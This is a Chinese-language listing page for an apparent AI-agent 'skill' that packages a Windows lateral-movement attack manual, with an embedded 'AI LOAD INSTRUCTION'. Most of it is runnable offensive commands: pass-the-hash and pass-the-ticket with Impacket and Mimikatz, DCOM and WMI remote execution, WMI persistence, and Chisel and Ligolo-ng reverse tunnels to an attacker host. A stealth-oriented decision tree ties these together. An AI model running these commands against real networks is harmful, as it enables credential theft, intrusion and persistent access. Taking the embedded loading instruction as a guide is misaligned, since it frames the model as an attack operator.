关于 windows-lateral-movement
面向授权 Windows 横向移动工作的安全技能,以操作手册形式整理远程执行、凭据使用和网络跳转技术,便于按条件选择方法。
主要功能
- 01比较远程执行方法及其取舍
- 02涵盖 PsExec、WMI、WinRM、DCOM、RDP 和 SSH
- 03说明哈希传递与 Kerberos 票据方法
- 04介绍 SSH、Chisel 和 Ligolo-ng 跳转
- 05提供技术选择决策树
适用场景
- 01为 Windows 主机选择远程执行方法
- 02使用 NTLM 哈希或 Kerberos 票据进行认证
- 03经由已失陷主机访问内部主机
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill windows-lateral-movement安装后在 Claude Code 中输入/windows-lateral-movement确认已加载。
附带文件CREDENTIAL_DUMPING.md
详细介绍
技能:Windows 横向移动——专家攻击手册
AI LOAD INSTRUCTION:Windows 横向移动专家技术。涵盖 PsExec、WMI、WinRM、DCOM、SMB、RDP、SSH、哈希传递、哈希转票据、票据传递和网络枢纽。基础模型往往会忽略各执行方法的特征、OPSEC 权衡,以及每种方法所需的凭据类型。
0. 相关路由
深入探讨前,可考虑加载:
- windows-privilege-escalation:进入新主机后进行本地提权
- windows-av-evasion:EDR 阻止横向移动工具时
- active-directory-kerberos-attacks:基于 Kerberos 的横向移动(票据传递、委派)
- active-directory-acl-abuse:通过 ACL 路径访问新主机
进阶参考
在需要以下内容时,也请加载 CREDENTIAL_DUMPING.md:
- LSASS 转储技术(MiniDump、comsvcs.dll、nanodump)
- SAM/SYSTEM/SECURITY 提取
- DPAPI、凭据管理器、缓存的域凭据
- NTDS.dit 提取方法
1. 远程执行方法对比
| 方法 | 端口 | 凭据类型 | 是否创建服务? | 是否在磁盘上留存文件? | OPSEC | 是否需要管理员权限? |
|---|---|---|---|---|---|---|
| PsExec | 445 (SMB) | 密码/哈希 | 是 (PSEXESVC) | 是 (.exe) | 低 | 是 |
| Impacket smbexec | 445 | 密码/哈希 | 是(临时服务) | 否 | 中 | 是 |
| Impacket atexec | 445 | 密码/哈希 | 否(计划任务) | 否 | 中 | 是 |
| WMI | 135+动态 | 密码/哈希 | 否 | 否 | 高 | 是 |
| WinRM | 5985/5986 | 密码/哈希/票据 | 否 | 否 | 高 | 是(远程管理权限) |
| DCOM | 135+动态 | 密码/哈希 | 否 | 否 | 高 | 是 |
| RDP | 3389 | 密码/哈希 (RestrictedAdmin) | 否 | 否 | 低(GUI 会话) | 需要 RDP 访问权限 |
| SSH | 22 | 密码/密钥 | 否 | 否 | 高 | 需要启用 SSH |
| SC | 445 | 密码/哈希 | 是(自定义服务) | 是 | 低 | 是 |
2. PSEXEC 变体
Impacket PsExec
# With password
psexec.py DOMAIN/administrator:password@TARGET_IP
# With NTLM hash (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
# With Kerberos ticket
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
Impacket smbexec(更隐蔽——不上传二进制文件)
smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
Impacket atexec(计划任务)
atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
Sysinternals PsExec
PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe & REM Run as SYSTEM (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"
3. WMI 横向移动
# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
# With Kerberos
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/[email protected]
# PowerShell WMI process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred
# WMI event subscription persistence
$filterArgs = @{
EventNamespace = 'root\cimv2'; Name = 'Updater';
QueryLanguage = 'WQL';
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
4. WINRM 横向移动
# evil-winrm (from Linux — with password)
evil-winrm -i TARGET_IP -u administrator -p password
# evil-winrm (with hash)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH
# evil-winrm (with Kerberos)
evil-winrm -i target.domain.com -r DOMAIN.COM
# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred
# Execute command remotely
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
# Multiple targets simultaneously
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }
5. DCOM 横向移动
隐蔽性高——使用合法的 COM 对象,不创建服务。
MMC20.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
Impacket dcomexec
dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20
6. 哈希传递 (PTH)
直接使用 NTLM 哈希,无需知道明文密码。
# CrackMapExec — spray/check admin access
crackmapexec smb TARGETS -u administrator -H NTLM_HASH
# Impacket tools (all support -hashes)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH
# xfreerdp (Restricted Admin mode must be enabled)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
# Mimikatz PTH (spawns new process with injected creds)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
为 RDP PTH 启用 Restricted Admin
# On target (requires admin): enable restricted admin
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
7. 哈希转票据(密钥传递)
将 NTLM 哈希 → Kerberos TGT → 纯 Kerberos 身份验证。
# Request TGT with hash
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# Or with AES256 key
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP
# Use Kerberos for all subsequent tools
psexec.py -k -no-pass DOMAIN/[email protected]
wmiexec.py -k -no-pass DOMAIN/[email protected]
# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# New PowerShell session → klist shows Kerberos TGT
优势:纯 Kerberos 身份验证可避免 NTLM 日志记录和检测。
8. 票据传递
# Use existing .ccache ticket
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/[email protected]
# Mimikatz — inject .kirbi ticket
kerberos::ptt ticket.kirbi
# Verify
klist
# Rubeus
Rubeus.exe ptt /ticket:base64_blob
9. 通过已攻陷主机进行网络枢纽
SSH 隧道/端口转发
# Dynamic SOCKS proxy through compromised host
ssh -D 1080 user@COMPROMISED_HOST
# Use with proxychains
# Local port forward (access internal service)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
Chisel(无需 SSH)
# On attacker (server)
chisel server --reverse -p 8080
# On compromised host (client)
chisel client ATTACKER:8080 R:socks
# Creates SOCKS5 proxy on attacker's port 1080
Ligolo-ng(现代、高速)
# On attacker
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On compromised host
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert
# In ligolo console
session # Select agent
start # Start tunnel
# Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo
10. 横向移动决策树
Have credentials / hash — need to move laterally
│
├── What credentials do you have?
│ ├── Plaintext password → any method
│ ├── NTLM hash → PTH methods (§6)
│ │ ├── Need stealthier? → Overpass-the-Hash first (§7)
│ │ └── Direct use → psexec/wmiexec/evil-winrm with -H
│ ├── Kerberos ticket → Pass-the-Ticket (§8)
│ └── AES key → Overpass-the-Hash with -aesKey (§7)
│
├── OPSEC priority?
│ ├── High stealth needed
│ │ ├── WMI (no file on disk, no service) → wmiexec (§3)
│ │ ├── DCOM (uses legitimate COM) → dcomexec (§5)
│ │ └── WinRM (PowerShell remoting) → evil-winrm (§4)
│ ├── Moderate stealth
│ │ ├── smbexec (no binary upload) (§2)
│ │ └── atexec (scheduled task, auto-cleanup) (§2)
│ └── Low stealth acceptable
│ ├── PsExec (reliable, creates service) (§2)
│ └── RDP (interactive GUI) (§6)
│
├── Need to pivot to internal network?
│ ├── SSH available → SSH tunnel / SOCKS (§9)
│ ├── No SSH → Chisel or Ligolo-ng (§9)
│ └── Multiple hops → chain SOCKS proxies
│
├── Target hardening?
│ ├── SMB signing required → WMI, WinRM, or DCOM
│ ├── WinRM disabled → WMI or DCOM
│ ├── Firewall blocks 135/445 → RDP or SSH
│ └── Restricted Admin disabled → no RDP PTH → use other methods
│
└── Need to dump creds on new host?
└── Load CREDENTIAL_DUMPING.md
评论
支持 Markdown